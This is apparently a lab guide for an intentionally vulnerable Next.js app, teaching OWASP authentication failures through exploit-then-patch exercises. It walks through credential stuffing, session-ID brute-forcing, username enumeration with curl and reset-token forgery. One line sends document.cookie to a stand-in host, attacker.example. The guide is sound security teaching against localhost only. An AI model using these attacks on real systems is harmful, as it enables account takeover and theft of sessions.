OWASP Top 10 — A01 (2021: A07) — Identification & Authentication Failures
⚠ This application is intentionally vulnerable. Do NOT deploy it. Run only on
localhost.
You are the security engineer who just inherited a Next.js app written by a junior developer in a hurry. You will:
- Run the app.
- Exploit each vulnerability with concrete attacks (curl, browser DevTools, scripts).
- Patch the code yourself, guided by hints.
- Verify the exploit no longer works.
Each lab is self-contained (~10–15 min). You can do them in order or jump around, but Lab 1 and Lab 2 are the warm-up.
- Setup
- Lab 1 — Plaintext password storage
- Lab 2 — Credential stuffing (no rate limit)
- Lab 3 — Predictable session IDs
- Lab 4 — Session ID exposed in URL
- Lab 5 — Cookie missing security flags
- Lab 6 — Username enumeration
- Lab 7 — No session expiry / fixation
- Lab 8 — Weak password policy
- Lab 9 — Forgeable password reset token
- Lab 10 — Bonus: add Multi-Factor Authentication (TOTP)
- Final verification
- Glossary
- Node.js 20.x (use
nvm install 20if missing) - npm (ships with Node.js — no extra install needed)
- sqlite3 CLI (for Lab 1) —
sudo apt install sqlite3on Ubuntu/WSL - curl (Lab 5, 6, 7, 9)
- A modern browser with DevTools (Chrome/Firefox)
npm install
cp .env.example .env
npx prisma migrate dev --name init
npm run seed
npm run devOpen http://localhost:3000.
You should see a red banner: INTENTIONALLY VULNERABLE APP — DO NOT DEPLOY.
| Username | Password | Role |
|---|---|---|
| admin | admin123 | admin |
| alice | password | user |
| bob | letmein | user |
| charlie | qwerty | user |
| dave | 123456 | user |
| eve | iloveyou | user |
| frank | monkey | user |
| grace | dragon | user |
If you break the DB or want to start fresh:
rm prisma/dev.db
npx prisma migrate dev --name init
npm run seed⚠ After any
prisma migrate dev, Ctrl-C and restartnpm run dev. The Next dev server caches the generated@prisma/clientand will throwUnknown argument …errors on new columns until you restart it. This bites you in Lab 7 and Lab 9.
Vulnerability: Passwords are stored in the database as plain text. If the database leaks (backup, SQL injection, stolen disk, insider), every account is compromised everywhere those users reused that password.
A password should never be stored. Only its salted hash should — using a slow algorithm (bcrypt, scrypt, Argon2) so an attacker who steals the hash file still has to spend years brute-forcing each password individually. Fast hashes like MD5/SHA-256 are not acceptable for passwords; modern GPUs do billions of those per second.
You have access to the database file (simulating a backup leak):
sqlite3 prisma/dev.db "SELECT username, password FROM User;"Expected output:
admin|admin123
alice|password
bob|letmein
charlie|qwerty
...
You now have every account's password in cleartext. Take a screenshot for your report.
- lib/auth.ts —
verifyCredentialscomparesu.password !== password. - app/api/register/route.ts — stores
passworddirectly. - prisma/seed.ts — inserts plaintext passwords.
- Add
bcrypt(already in dependencies). Don't forgetimport bcrypt from "bcrypt";at the top of each file you change. - In
register/route.ts, replace storingpasswordwithawait bcrypt.hash(password, 12). - In
auth.ts, replaceu.password !== passwordwithawait bcrypt.compare(password, u.password). - Rewrite the seed to hash too (add the
importthere as well).
Hint: the
bcryptnpm package emits hashes starting with$2b$12$...(modern bcrypt revision). Older write-ups show$2a$...— both are valid andbcrypt.compareaccepts either. Cost 12 is a good default for 2025+ hardware.
After patching, re-seed and try logging in as alice. Then:
sqlite3 prisma/dev.db "SELECT username, password FROM User;"You should see $2b$12$... strings, not password. ✅
Vulnerability:
/api/loginaccepts unlimited attempts per second from one IP. An attacker armed with leaked credentials from another breach can try them all here in minutes.
Credential stuffing is the #1 cause of account takeover on the modern web. Users reuse passwords; attackers get a leak from site X (e.g. a forum) and replay those email/password pairs against site Y (your bank). Defense: detect velocity (rate limit), require CAPTCHA on repeat failures, and flag impossible-travel logins.
The app ships a small wordlist (data/rockyou-mini.txt, top ~120 leaked passwords) and an attack script.
npm run exploit:stuff -- aliceYou should see dots, then within a few seconds:
HIT after 2 attempts in 0.12s
alice : password
Try other users:
npm run exploit:stuff -- dave # 123456
npm run exploit:stuff -- frank # monkey
npm run exploit:stuff -- admin # admin123- app/api/login/route.ts — no throttling, no lockout.
Several layers, defense-in-depth:
- Per-IP rate limit: track
(ip, timestamp[])in memory or Redis. Block when the limit is exceeded in a 60s window. - Per-account lockout: after a few failures on the same username, force a delay or CAPTCHA. This matters: if you only rate-limit by IP and you set the limit to 5, the demo wordlist still cracks
aliceon attempt 2 (her seed passwordpasswordis the second entry). Per-username limiting closes that. - Exponential backoff: each failed attempt sleeps
2^n * 100msserver-side.
Minimal in-memory limiter that keys on both IP and username, counting only failures (so a user who logs in cleanly is never punished):
const failures = new Map<string, number[]>();
function blocked(key: string, max: number, windowMs = 60_000) {
const now = Date.now();
const arr = (failures.get(key) ?? []).filter((t) => now - t < windowMs);
failures.set(key, arr);
return arr.length >= max;
}
function recordFailure(key: string) {
failures.get(key)!.push(Date.now());
}
// in POST handler, BEFORE verifyCredentials:
const ip = req.headers.get("x-forwarded-for")?.split(",")[0] ?? req.ip ?? "local";
if (blocked(`ip:${ip}`, 5) || blocked(`user:${username}`, 1)) {
return NextResponse.json({ error: "too many attempts" }, { status: 429 });
}
// ... after verifyCredentials, on the failure branches:
recordFailure(`ip:${ip}`); recordFailure(`user:${username}`);Why so strict per-user (max=1)? alice's seed password is literally password, which is line 2 of data/rockyou-mini.txt. Anything looser than "one wrong guess and you're paused" still cracks her on attempt 2. In production you'd loosen this and escalate to CAPTCHA after the first failure rather than hard-block.
Use the client IP (req.headers.get("x-forwarded-for") ?? req.ip). For production: use @upstash/ratelimit with Redis.
npm run exploit:stuff -- adminAfter a few attempts the exploit script prints [stuff] rate-limited (HTTP 429) and exits without finding the password. ✅ (If you only see dots and a final no hit., your script is older — pull the latest scripts/credential-stuffing.ts, which surfaces 429 explicitly.)
Vulnerability: Session ID =
base64(userId + "." + Date.now()). Knowing approximately when a user logged in plus their userId, you can brute-force the session id in milliseconds.
Session IDs must be cryptographically random, at least 128 bits of entropy. Common mistakes: using user IDs, timestamps, sequential counters, or Math.random() (which is not secure). The right primitive in Node is crypto.randomBytes(32).
- Log alice in via the UI (so a session row exists). Note the time.
- From a different terminal (no cookies), run:
npm run exploit:hijackThe script auto-discovers alice's user id from the seeded DB (id 2) and scans the last 60 s by default. Override with npm run exploit:hijack -- <userId> <windowMs> if you want a different account or window.
You should see:
HIT after 18234 tries
sid=Mi4xNzMx...
user={"id":2,"username":"alice","email":"alice@demo.local",...}
You just stole alice's session without her password.
- lib/session.ts —
makeSessionId.
import { randomBytes } from "node:crypto";
export function makeSessionId(): string {
return randomBytes(32).toString("base64url"); // 256 bits, URL-safe
}Also: stop encoding userId into the id. The server-side Session row already maps id→userId.
Re-run the hijack script after patching. It should time out without a hit. ✅
Vulnerability:
/api/meaccepts?sid=...as an alternative to the cookie. Session ids in URLs end up in browser history, server logs, theRefererheader sent to every third-party (Google Analytics, ad networks, fonts), and shared screenshots.
Session tokens belong in Set-Cookie headers only. Placing them anywhere else (URL, localStorage exposed to XSS, response body) increases the leak surface dramatically. URL-based session ids are explicitly called out in OWASP ASVS V3.4.
- Log in as alice. Open DevTools → Application → Cookies → copy the
sidvalue. - Open a private/incognito window (no cookies).
- Paste this URL:
http://localhost:3000/dashboard?sid=<paste-here> - You are alice. The session was bootstrapped from the URL.
In a real attack, this URL gets shared via chat, email, or auto-leaks via the Referer header. Open DevTools → Network and reload the page; observe the Referer if you click any external link.
- app/api/me/route.ts — accepts
sidfrom query. - app/dashboard/page.tsx — passes
sidfrom URL.
Delete the querySid branch in me/route.ts. Remove the sid URL handling in dashboard/page.tsx. Sessions only via the cookie.
Visit /dashboard?sid=anything in incognito → should see "Not logged in". ✅
Vulnerability: The session cookie is set with
Path=/only. NoHttpOnly, noSecure, noSameSite. This means: JavaScript can read it (any XSS = full takeover), it travels over HTTP if the site is ever served unencrypted, and it's sent on cross-site requests (CSRF).
Three flags every session cookie needs:
HttpOnly— JS cannot read it viadocument.cookie. Mitigates XSS-based session theft.Secure— only sent over HTTPS. Prevents network sniffing.SameSite=LaxorStrict— not sent on cross-site requests. Mitigates CSRF.
- Log in as alice.
- Open DevTools console. Type:
document.cookie;You see something like "sid=Mi4xNzMx...". A real XSS bug anywhere on the site could exfiltrate this in one line:
fetch("https://attacker.example/?c=" + document.cookie);- Inspect the cookie in DevTools → Application → Cookies. Note:
HttpOnlycolumn = unchecked.Secure= unchecked.SameSite= empty.
- lib/session.ts —
cookies().set(SESSION_COOKIE, sid, { path: "/" }).
cookies().set(SESSION_COOKIE, sid, {
path: "/",
httpOnly: true,
sameSite: "lax",
secure: process.env.NODE_ENV === "production",
maxAge: 60 * 60 * 8, // 8 hours
});After patching, run document.cookie in DevTools — sid should NOT appear. The DevTools cookie inspector should show HttpOnly = ✓. ✅
Vulnerability:
/api/loginreturns different error messages for "user does not exist" vs "wrong password". Attackers can confirm which usernames are valid before running a credential-stuffing attack — saving them effort and improving hit rate.
Authentication errors must be uniform: same wording, same HTTP status, same response time. Otherwise side channels (text, status, timing) leak account existence. Also applies to: registration ("email already taken"), reset ("no such email"), and any other endpoint touching the user table.
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"alice","password":"wrong"}'
# {"error":"wrong password"}
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"nobody","password":"wrong"}'
# {"error":"user not found"}Two different responses. Now you know alice is real and nobody is not.
A scripted enumerator could probe a list of guessed usernames in seconds. Try:
for u in alice bob charlie zoe nobody admin frank gandalf; do
echo -n "$u: "
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$u\",\"password\":\"x\"}" | grep -o 'user not found\|wrong password'
done- app/api/login/route.ts — distinct error returns.
- lib/auth.ts —
verifyCredentialsreturnsno-such-uservswrong-password.
Collapse to one error message and one status code:
if (result.kind !== "ok") {
return NextResponse.json({ error: "invalid credentials" }, { status: 401 });
}For timing: even when the user doesn't exist, run a dummy bcrypt.compare(password, DUMMY_HASH) so response time matches.
Both invalid-username and wrong-password requests return identical JSON and identical status. ✅
Vulnerability: Sessions never expire. There is no rotation on login. An attacker who learns a session id once can use it forever — even after the victim "logs out" if the cookie was captured.
Two related bugs:
- No expiry: long-lived sessions multiply leak impact. Use sliding (idle) and absolute expiry.
- Session fixation: if the server doesn't issue a new session id on login, an attacker who pre-set a known sid in the victim's browser (via a phishing link) is now logged in as the victim.
-
Log alice in via the UI. Open DevTools → Application → Cookies and copy the
sidvalue. -
Demonstrate longevity from a separate terminal (no browser cookies):
# Paste alice's sid here:
SID="paste-here"
curl -s "http://localhost:3000/api/me" -H "Cookie: sid=$SID"
# alice's data — even minutes/hours later-
There is no expiry: that cookie keeps working until the
Sessionrow is deleted by hand. In a real attack, anyone who steals the cookie once (XSS, shared machine, captured backup) owns the account indefinitely. -
Session fixation companion bug: because
createSessiondoesn't rotate the id on login, an attacker who can plant a knownsidin the victim's browser before they log in (via Lab 4's?sid=query bug, for instance) ends up sharing the victim's logged-in session.
- lib/session.ts —
createSessiondoesn't setmaxAgeor rotate. - prisma/schema.prisma —
Sessionhas noexpiresAt.
- Add
expiresAt DateTimetoSessionmodel inprisma/schema.prisma. - Run the migration. Because
expiresAtis required and old rows have no value, you must clear existing sessions first:Then restart the dev server (Ctrl-C,sqlite3 prisma/dev.db "DELETE FROM Session;" npx prisma migrate dev --name session_expirynpm run devagain) so it picks up the regenerated Prisma client — otherwise the next login throwsUnknown argument 'expiresAt'. - In
createSession, computeexpiresAt = new Date(Date.now() + 8*60*60*1000)and pass it ondb.session.create. Set cookiemaxAgeto the same value (in seconds). - In
getSessionUser, reject sessions whereexpiresAt < new Date()and delete the row. - Rotate on login: at the top of
createSession,await db.session.deleteMany({ where: { userId } })so each login gets a fresh id.
Set the system clock forward (or set maxAge to 10s for testing) — old cookie should be rejected. ✅
Vulnerability: Registration accepts any password — including
a,1, or empty.
NIST SP 800-63B (current guidance):
- Minimum 8 characters (12+ recommended).
- Allow up to at least 64.
- Allow all printable ASCII (and Unicode).
- Block known-leaked passwords via a list (e.g. HaveIBeenPwned k-anonymity API).
- Do NOT force composition rules ("must have uppercase + symbol") — they harm usability without improving entropy meaningfully.
Create a trivially weak account:
curl -s -X POST http://localhost:3000/api/register \
-H 'Content-Type: application/json' \
-d '{"username":"weakling","email":"w@x.y","password":"a"}'
# {"ok":true,"id":...}Confirm you can log in with a:
curl -s -X POST http://localhost:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"weakling","password":"a"}' -i | grep -i set-cookie- app/api/register/route.ts — no length / strength check.
if (password.length < 12) {
return NextResponse.json({ error: "password too short" }, { status: 400 });
}
const blocklist = new Set(["password", "qwerty", "letmein" /*...*/]);
if (blocklist.has(password.toLowerCase())) {
return NextResponse.json(
{ error: "password is too common" },
{ status: 400 },
);
}For real apps: use zxcvbn to score strength, or call HIBP's range API.
curl ... -d '{"...":"...","password":"a"}' # rejected
curl ... -d '{"...":"...","password":"correct horse battery staple"}' # accepted✅
Vulnerability: The reset token is
base64(email). Anyone who knows a victim's email can reset their password.
Reset tokens must be:
- Random —
crypto.randomBytes(32), not derived from anything. - Single-use — invalidate after redemption.
- Time-limited — expire in 15–60 minutes.
- Sent only via email — never returned in the HTTP response, never in URL params shared by the user.
- Stored hashed — like passwords, the DB row holds a hash so a DB leak doesn't reveal pending tokens.
npm run exploit:reset -- admin@demo.local pwned123Output:
[reset] forged token for admin@demo.local: YWRtaW5AZGVtby5sb2NhbA==
{ ok: true }
now log in with new password: pwned123
Now log in as admin / pwned123. You own the admin account.
- lib/auth.ts —
makeResetToken/parseResetToken. - app/api/reset/route.ts.
- Add a
PasswordResetmodel:id, userId, tokenHash, expiresAt, usedAt. Runnpx prisma migrate dev --name password_resetand restart the dev server (see Lab 7's note). - On request: generate
crypto.randomBytes(32).toString("base64url"). Store its SHA-256 hash. Email the plaintext (in the lab: print to server console — not the HTTP response). - On submit: hash incoming token, look up unexpired/unused row, mark
usedAt, update password (use bcrypt — Lab 1!). Consider alsodb.session.deleteMany({ where: { userId } })so old sessions die. - Always respond
200 OKto the request endpoint regardless of whether the email exists (otherwise: enumeration, see Lab 6). - Don't forget the UI:
app/reset/page.tsxreadsd.tokenfrom the request response. Once the API stops returning the token, the page's "fill token automatically" step is dead — either remove that line or rely on the token printed to the dev-server console.
The Lab 8 patch (≥12-char password) rejects the request before the token check, so use a long replacement password to actually exercise the Lab 9 path:
npm run exploit:reset -- admin@demo.local "Pwn3dByForgery!2025"
# should fail: "bad or expired token" / "invalid"✅
Goal: layer Time-based One-Time Passwords (RFC 6238 / Google Authenticator) on top of password login.
MFA defeats credential stuffing, phishing of static passwords, and DB leaks. TOTP works as follows:
- Server generates a 160-bit shared secret per user, displays it as a QR code.
- User scans with Google Authenticator / Aegis / 1Password.
- App computes
HMAC-SHA1(secret, current_30s_window) → 6-digit code. - On login, after password check, server requires the 6-digit code.
Dependencies (speakeasy and qrcode) are already in package.json.
-
Add a route
app/api/mfa/setup/route.ts(POST — state-changing requests must not use GET). Authenticated viagetSessionUser(). Generatesspeakeasy.generateSecret({ name: "Ses5 Demo (" + user.username + ")" }), savessecret.base32toUser.totpSecret, returns theotpauth_urland a QR data-URL viaqrcode.toDataURL(url). -
Add a UI page
app/mfa/page.tsxthat calls the setup route and shows the QR. -
Modify login to require a
totpfield ifuser.totpSecretis set. Don't forget to add the 6-digit code input toapp/login/page.tsxand include it in the request body — otherwise login will always fail with "invalid 2fa" after enrollment.import speakeasy from "speakeasy"; if (user.totpSecret) { const ok = speakeasy.totp.verify({ secret: user.totpSecret, encoding: "base32", token: body.totp, window: 1, // tolerate ±30s clock drift }); if (!ok) return NextResponse.json({ error: "invalid 2fa" }, { status: 401 }); }
-
Test: enroll alice, scan with Google Authenticator, log out, log back in with password + 6-digit code.
-
Stretch goals:
- Generate 10 single-use recovery codes at enrollment, hash & store them.
- Rate-limit the TOTP verification to prevent brute force (only ~1M codes total).
- Add WebAuthn / passkeys as a stronger alternative.
Once you've completed labs 1–9, run the full exploit suite:
npm run test:exploitsEvery test should now fail to find a vulnerability (non-zero exit code on each). If any still succeeds, that lab isn't fully patched — go back and tighten it.
Submit:
- Your patched
lib/,app/api/, andprisma/schema.prisma. LAB_NOTES.mdwith one paragraph per lab: what you exploited, what you patched, screenshot of "before" and "after".
- Credential stuffing — replaying email/password pairs leaked from one site against many others.
- Session fixation — attacker pre-sets a session id, victim logs in under it, attacker is now logged in.
- Session hijacking — attacker steals a victim's existing session id (cookie theft, predictable id, sniffing).
- Username enumeration — using server response differences to discover which usernames exist.
- TOTP — Time-based One-Time Password (RFC 6238). The 6-digit code in Google Authenticator.
- HttpOnly / Secure / SameSite — three cookie flags that mitigate XSS, network sniffing, and CSRF respectively.
- bcrypt / Argon2 / scrypt — slow password hashes designed to resist brute force.
- Rate limiting — capping the number of requests per (ip, user, endpoint) per time window.
- OWASP Top 10 2021 — A07: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- NIST SP 800-63B Digital Identity Guidelines.